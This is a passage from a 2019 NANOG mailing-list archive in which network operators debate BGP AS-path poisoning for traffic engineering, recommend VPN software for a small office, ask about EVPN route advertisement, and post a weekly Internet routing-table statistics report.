-- things would be >better if >> ISP_X didn't accept this route in this location. >> >> Now, the obvious answer of "well, just ask your provider in >this >> location to not announce it to ISP_X. That's what communities / >the >> telephone were invented for!" doesn't work for various >(entirely >> non-technical) reasons... >> >> Other than doing path-poisoning can anyone think of a way to >> accomplish what I want? (modulo the "just become a direct >customer >> instead of being a customer of a customer" or "disable that >site", or >> "convince the AS upstream of you to deploy communities / >filters"). >> While icky, sometimes stuffing other people's AS in the path >seems to >> be the only solution... >> >> >> >> Given the prevalence of peerlock-style filters at the transit-free >club, poisoning the path may result in a large outage for your prefix >rather than >> a clever optimization. Poisoning paths is bad for all parties >involved. >> >> Kind regards, >> >> Job >> >> >> > >---------------------------------------------------------------------- > Jon Lewis, MCP :) | I route > | therefore you are >_________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From warren at kumari.net Thu Jun 13 16:31:58 2019 From: warren at kumari.net (Warren Kumari) Date: Thu, 13 Jun 2019 12:31:58 -0400 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: On Thu, Jun 13, 2019 at 11:37 AM Jared Mauch wrote: > > You also may not know who allows their own ASN inbound as well. It certainly is a mixed bag. > > I do consider poisoning at best horrible hygiene and at worst evidence of malicious intent. Yes, I fully agree it it bletcherous -- which is why I'm looking for something less ugly... > > Good filtering isn’t just prefix or AS path based it’s both. > > Best filtering is pinning the prefix to a specific ASN. > > Sent from my iCar > > On Jun 13, 2019, at 11:24 AM, Job Snijders wrote: > > On Thu, Jun 13, 2019 at 11:18 Warren Kumari wrote: >> >> On Thu, Jun 13, 2019 at 9:59 AM Joe Abley wrote: >> > >> > Hey Joe, >> > >> > On 12 Jun 2019, at 12:37, Joe Provo wrote: >> > >> > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: >> > >> Send abuse complaint to the upstreams >> > > >> > > ...and then name & shame publicly. AS-path forgery "for TE" was >> > > never a good idea. Sharing the affected prefix[es]/path[s] would >> > > be good. >> > >> > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. >> > >> >> Actually, I've been meaning to start a thread on this for a while. >> >> I have an anycast prefix - at one location I'm a customer of a >> customer of ISP_X & ISP_Y & ISP_Z. Because ISP_X prefers customer >> routes, any time a packet touches ISP_X, it goes to this location, >> even though it is (severely) suboptimal -- things would be better if >> ISP_X didn't accept this route in this location. >> >> Now, the obvious answer of "well, just ask your provider in this >> location to not announce it to ISP_X. That's what communities / the >> telephone were invented for!" doesn't work for various (entirely >> non-technical) reasons... >> >> Other than doing path-poisoning can anyone think of a way to >> accomplish what I want? (modulo the "just become a direct customer >> instead of being a customer of a customer" or "disable that site", or >> "convince the AS upstream of you to deploy communities / filters"). >> While icky, sometimes stuffing other people's AS in the path seems to >> be the only solution... > > > > Given the prevalence of peerlock-style filters at the transit-free club, poisoning the path may result in a large outage for your prefix rather than a clever optimization. Er, let me think about this -- if I have 3 locations, A, B, and C, and at location A (the problematic one) I announce prefix 192.0.2.0/24 with ISP_X in the path, and at locations B and C I just prepend my AS# (to keep path lengths roughly the same), even if ISP_X, ISP_Y, ISP_Z (and others) enable peerlock, AFAICT, it will only be location A which might get filtered, yes? > Poisoning paths is bad for all parties involved. Not disagreeing - I'd love to tag my routes with community 1234:, or 1233:, but without useful levers, what do I pull? Unlike normally, I'm not arguing just for the sake of arguing, I'm a lookin' for suggestions... W > > Kind regards, > > Job -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From randy at psg.com Thu Jun 13 17:28:09 2019 From: randy at psg.com (Randy Bush) Date: Thu, 13 Jun 2019 10:28:09 -0700 Subject: someone is using my AS number In-Reply-To: <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: other than the possibility of the stuffed AS being associated with behavior, no harm if nothing malicious is happening. if something malicious is happening, we probably have bigger problems. have used path poisoning for a notable research experiment; where we credit the first major poisoner, lorenzo's thesis. randy From mark.tinka at seacom.mu Thu Jun 13 17:59:03 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 13 Jun 2019 19:59:03 +0200 Subject: SSL VPN In-Reply-To: References: Message-ID: On 1/Jun/19 16:53, Mehmet Akcin wrote: > Hey there > > I am trying to choose SSL VPN for a remote office 3-4 people max each > any given time. > > I have looked at Pulse and Cisco, and wanted to check in here for > recommendations on latest trends. > > Trying to get a solution easy to manage and won’t break the bank with > licenses when team grows to 10. > > Thanks in advance. OpenVPN in pfSense? We run tons of these around the world. Mark. From matt at netfire.net Thu Jun 13 18:06:50 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 13 Jun 2019 13:06:50 -0500 Subject: SSL VPN In-Reply-To: References: Message-ID: On Thu, Jun 13, 2019 at 12:59 PM Mark Tinka wrote: > > OpenVPN in pfSense? > > We run tons of these around the world. > > Mark. > > With the client config generator package, "openvpn-client-export", installed, this is imho the best option for an end-user VPN. pfSense has a much nicer UI than OpenVPN AS, and that UI also supports other things you might need (like routing protocols via bird or quagga, managing the firewall, etc) as well. I can't see any reason to pay money for OpenVPN AS when you compare it to what you get for free with pfSense. The NetGate pfSense appliances are quite nicely spec'd, too, if you just have cash burning a hole in your pocket. It also easily ties in OpenVPN authentication to RADIUS or LDAP, and getting it working with Active Directory on the backend is trivially simple. -------------- next part -------------- An HTML attachment was scrubbed... URL: From randy at psg.com Thu Jun 13 18:32:12 2019 From: randy at psg.com (Randy Bush) Date: Thu, 13 Jun 2019 11:32:12 -0700 Subject: SSL VPN In-Reply-To: References: Message-ID: > OpenVPN in pfSense? yep > We run tons of these around the world. i only do 0.5kg wireguard, https://www.wireguard.com/, is simpler (always a good thing with security), and has had code looked at by some credible experts. randy From eric-list at truenet.com Thu Jun 13 23:11:36 2019 From: eric-list at truenet.com (Eric Tykwinski) Date: Thu, 13 Jun 2019 19:11:36 -0400 Subject: SSL VPN In-Reply-To: References: Message-ID: > On Jun 13, 2019, at 2:32 PM, Randy Bush wrote: > >> OpenVPN in pfSense? > > yep > >> We run tons of these around the world. > > i only do 0.5kg > > wireguard, https://www.wireguard.com/, is simpler (always a good thing > with security), and has had code looked at by some credible experts. > This is the second time I’ve seen WireGuard this past week, and honestly sounds really promising. I’m probably going to test out on VyOS since I know it has support, but any word on ASA or JunOS? I.E. is this going to export to hardware since it’s in the kernel already? > randy From matt at netfire.net Thu Jun 13 23:27:32 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 13 Jun 2019 18:27:32 -0500 Subject: SSL VPN In-Reply-To: References: Message-ID: On Thu, Jun 13, 2019 at 6:12 PM Eric Tykwinski wrote: > This is the second time I’ve seen WireGuard this past week, and honestly > sounds really promising. > I’m probably going to test out on VyOS since I know it has support, but > any word on ASA or JunOS? > I.E. is this going to export to hardware since it’s in the kernel already? > The kernel? Which kernel? Given that neither Cisco nor Juniper ever adopted support for running OpenVPN on their platforms, I suspect it's unlikely that they'd adopt support for Wireguard. I would venture that as far as appliance support, the best bet is likely to be NetGate and pfSense, but I think Wireguard is going to have to come out with an "OK, we're comfortable with being considered production-ready" statement first, given that the front page of their website right now still proclaims the opposite. Once that happens - and the ball is largely in Wireguard's court to move that forward - then we should expect to see more mainstream adoption into products like pfSense. -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog-post at rsuc.gweep.net Fri Jun 14 00:17:43 2019 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Thu, 13 Jun 2019 20:17:43 -0400 Subject: someone is using my AS number In-Reply-To: <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: <20190614001743.GA97027@gweep.net> On Thu, Jun 13, 2019 at 09:58:20AM -0400, Joe Abley wrote: > Hey Joe, > > On 12 Jun 2019, at 12:37, Joe Provo wrote: > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > >> Send abuse complaint to the upstreams > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > never a good idea. Sharing the affected prefix[es]/path[s] would > > be good. > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. > > However, there's an argument that AS_PATH is really just a > loop-avoidance mechanism, not some kind of AS-granular traceroute > for prefix propagation. In that sense, stuffing 9327 into a prefix > as a mechanism to stop that prefix being accepted by AS 9327 seems > almost reasonable. (I assume this is the kind of TE you are talking > about.) > > What is the principal harm of doing this? Honest question. I'm > not advocating for anything, just curious. There is no way at a distance to tell the difference between: - legitimate AS forwarding - ham-fistedly attempting "innocent" TE away from the forged AS - maliciously hiding traffic from the forged AS - an error with the forged AS IME, when you can NOT look like an error or an attack, that's a Good Thing. The last "major" provider who failed to provide BGP community-based TE was 3549, and with their absorbtion into 3356 no one should have any tolerance for this garbage, IMNSHO. Cheers, joe -- Posted from my personal account - see X-Disclaimer header. Joe Provo / Gweep / Earthling From santiago.martinez.uk at gmail.com Fri Jun 14 00:50:09 2019 From: santiago.martinez.uk at gmail.com (santiago.martinez.uk) Date: Thu, 13 Jun 2019 21:50:09 -0300 Subject: SSL VPN In-Reply-To: Message-ID: <5d02f1e9.1c69fb81.c9bf0.735f@mx.google.com> +1and it also support HA. Sent from my Samsung Galaxy smartphone. -------- Original message --------From: Mark Tinka Date: 13/06/2019 14:59 (GMT-03:00) To: nanog at nanog.org Subject: Re: SSL VPN On 1/Jun/19 16:53, Mehmet Akcin wrote:> Hey there>> I am trying to choose SSL VPN for a remote office 3-4 people max each> any given time.>> I have looked at Pulse and Cisco, and wanted to check in here for> recommendations on latest trends.>> Trying to get a solution easy to manage and won’t break the bank with> licenses when team grows to 10.>> Thanks in advance.OpenVPN in pfSense?We run tons of these around the world.Mark. -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Fri Jun 14 08:02:46 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Fri, 14 Jun 2019 08:02:46 +0000 Subject: someone is using my AS number In-Reply-To: <20190614001743.GA97027@gweep.net> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190614001743.GA97027@gweep.net> Message-ID: <0102016b5502a896-f9b827c0-79fd-4d00-9383-f618b5c2013c-000000@eu-west-1.amazonses.com> HE doesn't provide any community based TE and I would say they're a pretty major network. Filip On 14 June 2019 2:17:43 am GMT+02:00, Joe Provo wrote: >On Thu, Jun 13, 2019 at 09:58:20AM -0400, Joe Abley wrote: >> Hey Joe, >> >> On 12 Jun 2019, at 12:37, Joe Provo >wrote: >> >> > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG >wrote: >> >> Send abuse complaint to the upstreams >> > >> > ...and then name & shame publicly. AS-path forgery "for TE" was >> > never a good idea. Sharing the affected prefix[es]/path[s] would >> > be good. >> >> I realise lots of people dislike AS_PATH stuffing with other peoples' >AS numbers and treat it as a form of hijacking. >> >> However, there's an argument that AS_PATH is really just a >> loop-avoidance mechanism, not some kind of AS-granular traceroute >> for prefix propagation. In that sense, stuffing 9327 into a prefix >> as a mechanism to stop that prefix being accepted by AS 9327 seems >> almost reasonable. (I assume this is the kind of TE you are talking >> about.) >> >> What is the principal harm of doing this? Honest question. I'm >> not advocating for anything, just curious. > >There is no way at a distance to tell the difference between: >- legitimate AS forwarding >- ham-fistedly attempting "innocent" TE away from the forged AS >- maliciously hiding traffic from the forged AS >- an error with the forged AS > >IME, when you can NOT look like an error or an attack, that's a >Good Thing. > >The last "major" provider who failed to provide BGP community-based >TE was 3549, and with their absorbtion into 3356 no one should have >any tolerance for this garbage, IMNSHO. > >Cheers, > >joe > > >-- >Posted from my personal account - see X-Disclaimer header. >Joe Provo / Gweep / Earthling -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Fri Jun 14 08:06:14 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Fri, 14 Jun 2019 10:06:14 +0200 Subject: SSL VPN In-Reply-To: References: Message-ID: <5ef4117f-a64b-a714-a6f2-878addf9fdc5@seacom.mu> On 13/Jun/19 20:06, Matt Harris wrote: > > With the client config generator package, "openvpn-client-export", > installed, this is imho the best option for an end-user VPN. pfSense > has a much nicer UI than OpenVPN AS, and that UI also supports other > things you might need (like routing protocols via bird or quagga, > managing the firewall, etc) as well. I can't see any reason to pay > money for OpenVPN AS when you compare it to what you get for free with > pfSense.  The NetGate pfSense appliances are quite nicely spec'd, too, > if you just have cash burning a hole in your pocket.  It also easily > ties in OpenVPN authentication to RADIUS or LDAP, and getting it > working with Active Directory on the backend is trivially simple. +1. Mark. From christoffer at netravnen.de Fri Jun 14 08:46:33 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Fri, 14 Jun 2019 10:46:33 +0200 Subject: SSL VPN In-Reply-To: References: Message-ID: <1c60bf99-9133-f09b-4323-7d5dbd62973d@netravnen.de> On 14/06/2019 01:11, Eric Tykwinski wrote: > This is the second time I’ve seen WireGuard this past week, and honestly sounds really promising. > I’m probably going to test out on VyOS since I know it has support, but any word on ASA or JunOS? If you want to take VyOS 1.2.x for a test drive with WireGuard VPN. Consider OPNsense, too. (If you don't like the distro, then a least for a test drive) They have also bundled WireGuard support.[0] Afaik. You can find guides around with how-to-wireguard-package-into-pfsense in best DIY fashion. NetGate is currently holding back with official WireGuard Package for now. [1][2] Christoffer [0]: https://docs.opnsense.org/manual/vpnet.html#configuration [1]: https://forum.netgate.com/topic/132375/installing-wireguard-vpn/40 [2]: https://redmine.pfsense.org/issues/8786 From jared at puck.nether.net Fri Jun 14 11:22:00 2019 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 14 Jun 2019 07:22:00 -0400 Subject: someone is using my AS number In-Reply-To: <0102016b5502a896-f9b827c0-79fd-4d00-9383-f618b5c2013c-000000@eu-west-1.amazonses.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190614001743.GA97027@gweep.net> <0102016b5502a896-f9b827c0-79fd-4d00-9383-f618b5c2013c-000000@eu-west-1.amazonses.com> Message-ID: > On Jun 14, 2019, at 4:02 AM, Filip Hruska wrote: > > HE doesn't provide any community based TE and I would say they're a pretty major network. With all respect to my friends at HE, this is a major gap for a network in 2019. I know this has lost them business over time with customers leaving due to the lack of TE communities. I know it takes time/effort to design and roll-out, so hopefully it’s coming for them soon. - Jared From bruce.curtis at ndsu.edu Fri Jun 14 14:41:48 2019 From: bruce.curtis at ndsu.edu (Curtis, Bruce) Date: Fri, 14 Jun 2019 14:41:48 +0000 Subject: SSL VPN In-Reply-To: References: Message-ID: <28F8A774-D433-46FC-B271-F03DE64DAD40@ndus.edu> On Jun 13, 2019, at 1:32 PM, Randy Bush > wrote: OpenVPN in pfSense? yep We run tons of these around the world. i only do 0.5kg wireguard, https://www.wireguard.com/, is simpler (always a good thing with security), and has had code looked at by some credible experts. randy Looks like wireguard has some similarities to ZeroTier. But a big difference is that wireguard is based on layer 3 while ZeroTier is based on layer 2 and calls itself an "Ethernet switch for planet Earth”. https://www.zerotier.com --- Bruce Curtis bruce.curtis at ndsu.edu Certified NetAnalyst II 701-231-8527 North Dakota State University -------------- next part -------------- An HTML attachment was scrubbed... URL: From aaron1 at gvtc.com Fri Jun 14 15:53:02 2019 From: aaron1 at gvtc.com (Aaron Gould) Date: Fri, 14 Jun 2019 10:53:02 -0500 Subject: evpn-mpls - routes sent throughout global inet.0 routing domain Message-ID: <000601d522c9$3fb0a610$bf11f230$@gvtc.com> I see evpn mac/host routes in the evpn database. I added an L3 irb interface into the epvn and suddenly I see those /32 host routes put into inet.0 (where the irb.x resides). Is there a best practice for distributing/advertising those inet.0 evpn host routes throughout my global routing domain to other neighbors? I'm currently accomplishing it with an ospf export policy matching evpn. and then I do in fact see those /32 evpn-originated host routes show up throughout my global routing domain as OSPF Preference 150 (AS external) (btw, I'm doing this in juniper routers) -Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From jasper at jbacker.nl Thu Jun 13 18:25:49 2019 From: jasper at jbacker.nl (Jasper Backer) Date: Thu, 13 Jun 2019 20:25:49 +0200 Subject: SSL VPN In-Reply-To: References: Message-ID: Just wondering, is the client export actually tied to the logged in user, or can every user download all other VPN profiles (which hopefully are of little use as credentials are likely unknown)? It used to be that way, would be nice if it is tied to just the logged in user. Cheers, Jasper On 13-06-19 20:06, Matt Harris wrote: > On Thu, Jun 13, 2019 at 12:59 PM Mark Tinka > wrote: > > > OpenVPN in pfSense? > > We run tons of these around the world. > > Mark. > > > With the client config generator package, "openvpn-client-export", > installed, this is imho the best option for an end-user VPN. pfSense > has a much nicer UI than OpenVPN AS, and that UI also supports other > things you might need (like routing protocols via bird or quagga, > managing the firewall, etc) as well. I can't see any reason to pay > money for OpenVPN AS when you compare it to what you get for free with > pfSense.  The NetGate pfSense appliances are quite nicely spec'd, too, > if you just have cash burning a hole in your pocket.  It also easily > ties in OpenVPN authentication to RADIUS or LDAP, and getting it > working with Active Directory on the backend is trivially simple. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From cscora at apnic.net Fri Jun 14 18:03:56 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 15 Jun 2019 04:03:56 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190614180356.BC1BAC44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 15 Jun, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 758444 Prefixes after maximum aggregation (per Origin AS): 291554 Deaggregation factor: 2.60 Unique aggregates announced (without unneeded subnets): 363187 Total ASes present in the Internet Routing Table: 64519 Prefixes per ASN: 11.76 Origin-only ASes present in the Internet Routing Table: 55510 Origin ASes announcing only one prefix: 23876 Transit ASes present in the Internet Routing Table: 9009 Transit-only ASes present in the Internet Routing Table: 275 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 42 Max AS path prepend of ASN ( 27978) 31 Prefixes from unregistered ASNs in the Routing Table: 30 Number of instances of unregistered ASNs: 33 Number of 32-bit ASNs allocated by the RIRs: 27377 Number of 32-bit ASNs visible in the Routing Table: 22361 Prefixes from 32-bit ASNs in the Routing Table: 100529 Number of bogon 32-bit ASNs visible in the Routing Table: 18 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 304 Number of addresses announced to Internet: 2838120576 Equivalent to 169 /8s, 42 /16s and 72 /24s Percentage of available address space announced: 76.7 Percentage of allocated address space announced: 76.7 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.3 Total number of prefixes smaller than registry allocations: 252304 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 205191 Total APNIC prefixes after maximum aggregation: 61042 APNIC Deaggregation factor: 3.36 Prefixes being announced from the APNIC address blocks: 201129 Unique aggregates announced from the APNIC address blocks: 83479 APNIC Region origin ASes present in the Internet Routing Table: 9812 APNIC Prefixes per ASN: 20.50 APNIC Region origin ASes announcing only one prefix: 2730 APNIC Region transit ASes present in the Internet Routing Table: 1468 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4816 Number of APNIC addresses announced to Internet: 770826880 Equivalent to 45 /8s, 241 /16s and 226 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225787 Total ARIN prefixes after maximum aggregation: 105159 ARIN Deaggregation factor: 2.15 Prefixes being announced from the ARIN address blocks: 224800 Unique aggregates announced from the ARIN address blocks: 106036 ARIN Region origin ASes present in the Internet Routing Table: 18492 ARIN Prefixes per ASN: 12.16 ARIN Region origin ASes announcing only one prefix: 6846 ARIN Region transit ASes present in the Internet Routing Table: 1900 Average ARIN Region AS path length visible: 3.8 Max ARIN Region AS path length visible: 42 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2744 Number of ARIN addresses announced to Internet: 1067901568 Equivalent to 63 /8s, 166 /16s and 226 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 208681 Total RIPE prefixes after maximum aggregation: 98856 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 204813 Unique aggregates announced from the RIPE address blocks: 121383 RIPE Region origin ASes present in the Internet Routing Table: 26135 RIPE Prefixes per ASN: 7.84 RIPE Region origin ASes announcing only one prefix: 11587 RIPE Region transit ASes present in the Internet Routing Table: 3719 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8181 Number of RIPE addresses announced to Internet: 719856512 Equivalent to 42 /8s, 232 /16s and 35 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 97416 Total LACNIC prefixes after maximum aggregation: 22149 LACNIC Deaggregation factor: 4.40 Prefixes being announced from the LACNIC address blocks: 98762 Unique aggregates announced from the LACNIC address blocks: 42865 LACNIC Region origin ASes present in the Internet Routing Table: 8500 LACNIC Prefixes per ASN: 11.62 LACNIC Region origin ASes announcing only one prefix: 2265 LACNIC Region transit ASes present in the Internet Routing Table: 1551 Average LACNIC Region AS path length visible: 5.4 Max LACNIC Region AS path length visible: 39 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 6053 Number of LACNIC addresses announced to Internet: 174023168 Equivalent to 10 /8s, 95 /16s and 98 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21338 Total AfriNIC prefixes after maximum aggregation: 4328 AfriNIC Deaggregation factor: 4.93 Prefixes being announced from the AfriNIC address blocks: 28636 Unique aggregates announced from the AfriNIC address blocks: 9192 AfriNIC Region origin ASes present in the Internet Routing Table: 1288 AfriNIC Prefixes per ASN: 22.23 AfriNIC Region origin ASes announcing only one prefix: 448 AfriNIC Region transit ASes present in the Internet Routing Table: 253 Average AfriNIC Region AS path length visible: 4.9 Max AfriNIC Region AS path length visible: 23 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 567 Number of AfriNIC addresses announced to Internet: 105251840 Equivalent to 6 /8s, 70 /16s and 4 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4757 549 543 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3203 1451 30 VIETEL-AS-AP Viettel Group, VN 45899 3044 1757 114 VNPT-AS-VN VNPT Corp, VN 9808 2800 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2736 1496 552 BSNL-NIB National Internet Backbone, IN 4766 2529 11119 759 KIXS-AS-KR Korea Telecom, KR 4755 2141 428 182 TATACOMM-AS TATA Communications formerl 9394 2088 4882 26 CTTNET China TieTong Telecommunications 9498 2069 427 170 BBIL-AP BHARTI Airtel Ltd., IN 23969 1780 314 16 TOT-NET TOT Public Company Limited, TH Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3652 238 607 CABLEONE - CABLE ONE, INC., US 6327 3614 1324 89 SHAW - Shaw Communications Inc., CA 22773 3415 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2871 6294 1257 AMAZON-02 - Amazon.com, Inc., US 16625 2488 1359 1868 AKAMAI-AS - Akamai Technologies, Inc., 30036 2167 348 173 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2150 2760 525 CHARTER-20115 - Charter Communications, 18566 2094 405 107 MEGAPATH5-US - MegaPath Corporation, US 5650 2085 3074 1461 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5436 1629 141 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3170 379 46 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2674 511 1928 AKAMAI-ASN1, US 12389 2247 2225 635 ROSTELECOM-AS, RU 34984 2099 346 548 TELLCOM-AS, TR 9121 1653 1692 18 TTNET, TR 13188 1604 100 47 TRIOLAN, UA 9009 1539 164 843 M247, GB 61317 1488 147 422 ASDETUK http://www.heficed.com, GB Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5999 3395 578 Uninet S.A. de C.V., MX 10620 3415 534 434 Telmex Colombia S.A., CO 11830 2704 370 56 Instituto Costarricense de Electricidad 7303 1482 1024 266 Telecom Argentina S.A., AR 28573 1456 2240 204 CLARO S.A., BR 6503 1252 441 54 Axtel, S.A.B. de C.V., MX 6147 1085 377 31 Telefonica del 